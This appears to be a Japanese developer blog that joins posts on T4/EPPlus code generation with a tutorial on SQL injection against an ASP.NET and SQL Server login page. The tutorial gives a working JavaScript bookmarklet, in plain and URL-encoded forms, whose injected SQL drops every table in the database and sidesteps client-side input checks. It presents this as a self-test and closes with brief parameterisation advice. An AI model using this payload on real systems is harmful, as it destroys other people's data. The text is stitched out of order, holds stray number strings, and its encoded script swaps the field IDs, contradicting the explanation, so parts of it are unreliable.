さて、またまた前回から1年以上経過してしまったが、続きを書くとする。
筆者は仕事柄、さまざまのシステム開発の現場に参入させていただく機会があり、その都度、プログラムのコード自動生成の技術を援用する機会に恵まれている。
実際に使っている経験から言うと、このセクションで述べているコード生成の自動化という手法は、プログラミングの全局面でおおいに利用できる、というようなものではない。
これを使うことで役に立つ部分は、データベースの定義からの機械的なエンティティクラスのコード生成であったり、特定の実装方法が規定されている部分に対して土台作りとして利用する場合などであると思ってよさそうだ。
すべてのコードを自動生成するという実装を実現しようと思えば、できなくはないが、そのための仕掛けの作成に工数がかかりすぎるため実際の工程上難しいためだ。
通常のシステム開発の現場では、部分的に必要に応じて自動生成を使うという利用方法が実用的と思われる。

それでは現在筆者が実際に利用している具体的な手法を紹介しよう。以前は自作のコード生成ツールを使ったりもしていたが、現在ではVisualStudioに付属のT4を使うことがメインになってきているため、T4を使った手法を紹介する。

まずは、設計書からの利用。
システム開発で設計書が存在しない開発現場というものも存在することがあるが、そのようなケースは少数派と思われるためここでは考えない。
マイクロソフトのExcelで書かれた設計書を利用する方法について考える。
概要を言うと、設計書に記載された項目の属性群をT4のテンプレート内でEPPLUSというライブラリを用いてメモリ上に読み込み、その定義内容に応じて、結果として求められるプログラムコードを生成するようなテンプレートを作成することで、各種設計書からそれぞれの機能に応じたコードを自動生成するというやり方となる。
また、テンプレートは、その目的によって、それぞれ別のテンプレートファイルになる。
例えば、データベースのエンティティクラス作成用のテンプレートファイルや、画面制御用コードを生成するためのテンプレートファイルなど、必要に応じて多岐にわたるものになる。

ここで重要になるのは、このテンプレートファイルの作成であるが、これについては、一概にこれと示すことはできない。そのシステム開発の内容によって千差万別となるためである。
まずはそのシステムで共通的な要素を含んでいると思われる1つのプログラムをパイロット版として作成し、充分な吟味ののち、それをテンプレートファイルに改造する、といった手法が現実的と思われる。

この際に気を付けたいことは、このテンプレート利用によるコード生成では構造的に同じ仕組みをもったプログラムコードが生成されることになるので、重複するコード部分については、一度よく見返してほしい点だ。
つまり、構造的に同じである場合には、それをベースクラスとしてまとめることができないかどうかを一度検討すべきである。
ここはそのようなところにあまり時間をかけたくないという開発方針を持つ現場もあろうかと思うので、絶対とは言えないが、より洗練されたメカニズムを考案したほうが後々のメンテナンスで面倒が少なくなるのでメリットは大きいと思われる。

前回の記事からずいぶん日が経ってしまったが、続きを書いていこうと思う。

プログラムというものは、最大限に簡略化すると、インプットデータを受け取り、何らかの処理を行い、何らかの出力を行うものだ。こう考えると、プログラム以外でも、どのようなものもこうしたメカニズムは持っていると言えるかもしれない。それは人が行う事象への認識のメカニズムと言ってもいいのかもしれないが。
さて、哲学的な考察の穴蔵に降りていくのは避けて、実際のプログラミングについて考察に舵を取る。
データについて、それをどのように処理するか、それはいわゆる仕様と呼ばれるものだが、それに応じてプログラマーは、コードを書く。このコードを書くに当たって、さまざまの実現方法が存在している。
それは、プログラミング言語の種類にもよるし、当該プログラミングを業務として行っている場合にはその業務チーム全体で守るべきコーディング規約にもよるし、あるいは既存のソースがある場合はその一部をコピペして流用するか、新たに書き起こすかだが、それはプログラマー個人の技量にもよって、さまざまなコードが発生し得るものだ。
さまざまなコードが発生する場合にはバグも発生しやすい。バグが無いことが実証済みのコードを流用できる場合はそれを流用してコードを書くというのも一つの良い方法になる。
このさまざまなコードが発生する原因は、プログラムのコーディング方法に言語特有の柔軟性があるためでもあるが、逆に言うと、ある要求仕様を満たすコードを実現するためのコード実装方法が明確に規定されていない場合に、プログラマーが自由な裁量の元にコードを書くことができる点にある。
ということは、全ての要求仕様に対して、その機能を実現するためのコードが予め明確に規定されているならば、バラバラなプログラムコードというものは発生しないということになる。
以上の考察から、結論としては、ある要求仕様に対して、それを実現するためのコードが予め規定されているならば、プログラムは紛れなく統一的な装いを持って実装され得るということだ。
当たり前のようなことだが、これが現実的な開発の現場では実現されていないのが現状で、さまざまのコーディングとバグが存在する訳で、さてここではそれらを低減させるためのコーディング支援機能を考えていく。
やっと表題に追いついた。
具体的には、インプットデータ自体にさまざまな属性を持たせ、その属性を元に、目的に応じたコードパターンに流し込むことによって、コードを自動生成させるツールを作成することを多角的に検討していく。
続きは次回・・・。

はじめに

プログラムを作る仕事をしていると、大量のコーディングを正確に素早く書くことが求められる。そのコーディングルールに準拠した正確な表現および構文や、ロジックの妥当性、また必要にして十分なコードであるかがそのままプログラムコードの成果物として評価の対象になる。

プログラムコードを実際に書くにあたって、具体的にどのように対処するかは以下のように分類できるかと思う。

① 地道にコツコツとコードを書いていく(スニペットなど使うと多少効率的になるかな)
② パターン化できる部分を見極めて、その部分はマクロや専用プログラムなどを自作して生成し、適宜利用する。
③ 大量のコーディングの本質をリファクタリングし、少ないコードで同等機能を実現できる方法を考案、実装する。

これらにはそれぞれ長所短所がある。

①は、コード量が多ければ多いほど比例して作業時間が増え、また人為ミスによるバグの混入の危険度が増す。ある一つの工程で目的とするコード量が3600行ほどとした場合に、1行のコードを書くのに平均で10秒かかったとして3万6千秒=10時間かかる計算。
また、個人差はあるので一概に言えないが例えば100行に一箇所書き間違いがあったとしたら(そんなに無いだろうけど)、36個はバグがあることになる。このバグ潰しに+αの時間がかかる。
スニペットをうまく利用したら10%ぐらいは早くなるかな?
いずれにせよ、これは普通のコーディングのお仕事のやり方。
②は、パターン化の見極めとマクロ等の作成(デバッグ含む)に2時間かけたとして、そのあとコード生成用に必要なデータ準備、生成の実行と検証、問題があればマクロ等の手直しと再実行と検証、の繰り返し。

これに仮に2〜3時間かけたとして、計4〜5時間かかる計算。
単純に①と比較しても2倍以上作業効率の向上が期待できるだろう。いったん作成したパターンを適用できる対象が多ければ多いほど作業効率が上がるので、大量のコードが対象の場合には数十倍の効率UPという場合だってありえる。

逆に、その工程で目的とするコード量がコツコツ手書きで1時間あれば完了するものを、2時間かけてマクロ等を作っていては無駄な工数をかけただけなので、「普通にすれば簡単にできることを、手の込んだからくりを多数用い、それらが次々と連鎖していくことで実行する」(6816211456)になりかねないので注意が必要だ。

③は、そもそもリファクタリングと効率的なロジック構造を発明できるかどうかに依存するため、かかる時間は推定できない。そもそも不可能な場合もある。
ただ、いったんできてしまえば、そしてそれが性能等に優れていることが実証されれば(この実証自体にも長い時間を要するが)、その後のスタンダードに取って代わっていく可能性があるものだ。
しかしこれによってどれだけ工数短縮効果があったかの検証も難しいことや、当初の前提となった事項に対する例外的なケースへの対処が容易ではなかったりすることがあると、それだけの欠点を根拠として現場では採用されないことも多くなるのが現実だ。

非常におおざっぱな分類と考察だが、上記のような思わくを踏まえて、まずは③の構造的な効率性の検討の実施、その後、②の手法によるコード生成の効率化、以上で賄えない部分は①のこつこつコーディング、のような方針がトータルとしてコーディングの生産性向上には効果があるのではないだろうか。

 

最初から最後まで自動生成するツールというものはここでは考察の対象にしないことにしている。まったく対象外として最初から考えなかったわけではない。多くのリサーチおよび実体験の結果、それらの全自動ツールはツール自体による制約が強く、生成されたコードをカスタマイズができないか又はカスタマイズが難しいと断定していい。ツールの作成者やメーカは反論するかもしれないが、自動化するための多くのギミックが詰め込まれているため効率化されていない汎用的なコードや、あるいはツール独自の前提にたった独自のコード生成などがあるため、普通のコーディング感覚でカスタマイズしようとすると、それを使わなかった場合よりかえって大量の工数が発生する、という本末転倒な結果を生じ、ツールに振り回される事態になるので。

より自動化技術が進めば改善されるかもしれないが、今はまだ却下としておく。

ログイン画面でDBテーブルを全て消す

ASP.NET + SQLServer 構成のWebアプリケーションでSQLインジェクションによる全テーブル削除の例を挙げる。
操作はパソコン上のブラウザを想定している。

手順の概要

①部品IDの確認

②スクリプト調整

③「お気に入り」から実行

各手順の詳細

①部品IDの確認

まずはログイン画面のユーザID入力テキストボックスの部品IDとパスワードの部品IDとログインボタンの部品IDを確認する。

例えばそれが、このような画面だったとする。

913-541-0796

例えば次のようなHTMLになっている。これは「ソースの表示」で誰でも見ることができる。

<table>
<tr>
<td class="title">ユーザ名</td>
<td class="text"><input id="txtUSERID" name="txtUSERID" type="text" /></td>
</tr>
<tr>
<td class="title">パスワード</td>
<td class="text"><input id="txtPASSWORD" name="txtPASSWORD" type="password" /></td>
</tr>
<tr>
<td colspan=2> <input id="btnLOGIN" type="submit" value="ログイン" > </td>
</tr>
</table>

id=xxxx の箇所に注目して、この画面の場合は、

ユーザIDの部品ID:txtUSERID

パスワードの部品ID:txtPASSWORD

ログインボタンの部品ID:btnLOGIN

であることがわかる。

次はこの部品IDを用いてSQLインジェクションを起こすスクリプトを作成する。

②スクリプト調整

前項①で調べた部品IDを用いて、以下のスクリプトを適宜修正をおこなう。

javascript:document.getElementById("「ユーザIDの部品ID」").value='abc';document.getElementById("「パスワードの部品ID」").value="';declare @SQL nvarchar(max);SELECT @SQL = STUFF((SELECT ', ' + quotename(TABLE_SCHEMA) + '.' + quotename(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES FOR XML PATH('')),1,2,'');SET @SQL = 'DROP TABLE ' + @SQL;EXECUTE(@SQL); --";__doPostBack("「ログインボタンの部品ID」","");

すると次のようなスクリプトになる。

javascript:document.getElementById("txtUSERID").value='abc';document.getElementById("txtPASSWORD").value="';declare @SQL nvarchar(max);SELECT @SQL = STUFF((SELECT ', ' + quotename(TABLE_SCHEMA) + '.' + quotename(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES FOR XML PATH('')),1,2,'');SET @SQL = 'DROP TABLE ' + @SQL;EXECUTE(@SQL); --";__doPostBack("btnLOGIN","");

これをURLエンコードする。URLエンコードはオンラインでも可能(/www.garunimo.com/program/tool/url-Encode-Decode.php など)

例えば次のようになる。

javascript:document.getElementById(%22txtPASSWORD%22).value='abc'%3Bdocument.getElementById(%22txtUSERID%22).value=%22%27%3Bdeclare%20%40SQL%20nvarchar%28max%29%3BSELECT%20%40SQL%20%3D%20STUFF%28%28SELECT%20%27%2C%20%27%20%2B%20quotename%28TABLE_SCHEMA%29%20%2B%20%27.%27%20%2B%20quotename%28TABLE_NAME%29%20FROM%20INFORMATION_SCHEMA.TABLES%20FOR%20XML%20PATH%28%27%27%29%29%2C1%2C2%2C%27%27%29%3BSET%20%40SQL%20%3D%20%27DROP%20TABLE%20%27%20%2B%20%40SQL%3BEXECUTE%28%40SQL%29%3B%20--%22%3B__doPostBack(%22btnLOGIN%22%2C%22%22)%3B

以上でスクリプトの準備ができたので、次にこれを実行する手順に入る。

☆javascriptの直後の「:」がURLエンコードされている場合はうまく行かない場合がある。その場合は、その文字に当たる部分を手で「:」に戻しておく。

③「お気に入り」から実行する

ログインボタン押下時には多くの場合クライアントのJavascriptで入力チェックが仕込まれている。

これを迂回するために、ボタンは押さずにポストバックを起こすスクリプトを「お気に入り」から実行できるように準備する。

 

ブラウザの「お気に入り」(ブラウザによってはブックマークとも呼ぶ)に空のものを新規追加してそのプロパティを開き、URL欄に上記スクリプトを貼り付けて保存したあと、ログイン画面上でその「お気に入り」項目を選択するという操作を実施する。

以上の操作後、DBの全てのテーブルか、または多くのテーブルが削除されていないかを確認する。

もしテーブルが減っている場合は、致命的なセキュリティホールが存在すると思って良いので直ちに対処されることをお勧めする。

以上でSQLインジェクションの例は完了だが、最後にスクリプトについての簡単な解説をしておきたい。

スクリプトの解説

簡単にスクリプトの内容を説明しておくと、スクリプトは以下のようなことを行っている。

1.パスワードにabcを入力(空だと早い段階で入力必須エラーではじかれるのを回避するため適当な文字列abcをセットしているだけ)

2.ユーザIDに、冒頭1文字目にシングルクォーテーションを1個つけ、次にセミコロン(これは半角スペースでもよい)、そのあと declare @SQLから「–“」まではMicrosoft SQLServer 用のSQL文になっている。

このSQL文の意味は、まずデータベースに存在するテーブル名をすべてシングルクォーテーション囲みの文字列にしてカンマ区切りで連結したものを作り、次にそれを用いてテーブルを削除するSQL文を構成して実行する、というもの。

MySQLやOracleでは少し異なるSQL文を用意する必要がある。それはまた続編で紹介しよう。

ユーザIDの冒頭1文字目にシングルクォーテーションをつける理由は、ログインボタン押下で次のようなSQL文が最初に走るようなケースで効果があるため。

VB.NETの場合の例)

strSQL = “SELECT COUNT(*) FROM MST_USER WHERE USERID='” & txtUSERID.Text & “‘”

これは入力されたログイン用のIDを直接SQL文に連結してデータベースに存在チェックするSQL文で、入力内容をそのままSQL文に連結している点が危険なポイントと言える。

最初のシングルクォーテーションとセミコロンが入ることで、SELECT文はいったんそこで終わってセミコロン以降のSQL文もまた実行される。その結果データベースのテーブルが消えることになる。リレーションで制約があるものや削除権限がないものは消えないものもある。

最後の「–“」(ハイフン、ハイフン、ダブルクォーテーション)の3文字はこれらの後ろに続く文字列は全部コメントとして無視するという効果があって、このSQLインジェクションによって乱れたSQL文においてSQLエラーを生じなくするという効果がある。

このようにしてSQLインジェクションが成功する。

対策例

対策はサーバ側でも入力チェックすること、および入力文字列をSQL文に直接連結しないでパラメータかストアドプロシジャを使うこと。

結論

以上、あなたの使っているWebアプリーションでもぜひこのチェックを試してほしい。何も起こらなければ、あなたのWebはとりあえずはOK。もしDBのテーブルが消えた場合はセキュリティ対策を適用したほうがよいと思われる。

注意:もちろんこのチェックはテスト用サーバなどデータが消えても支障がない環境で実施することをお勧めする。本番環境で当スクリプトを試してデータが消失しても当方は一切責任を負わない、と念のため宣言しておく。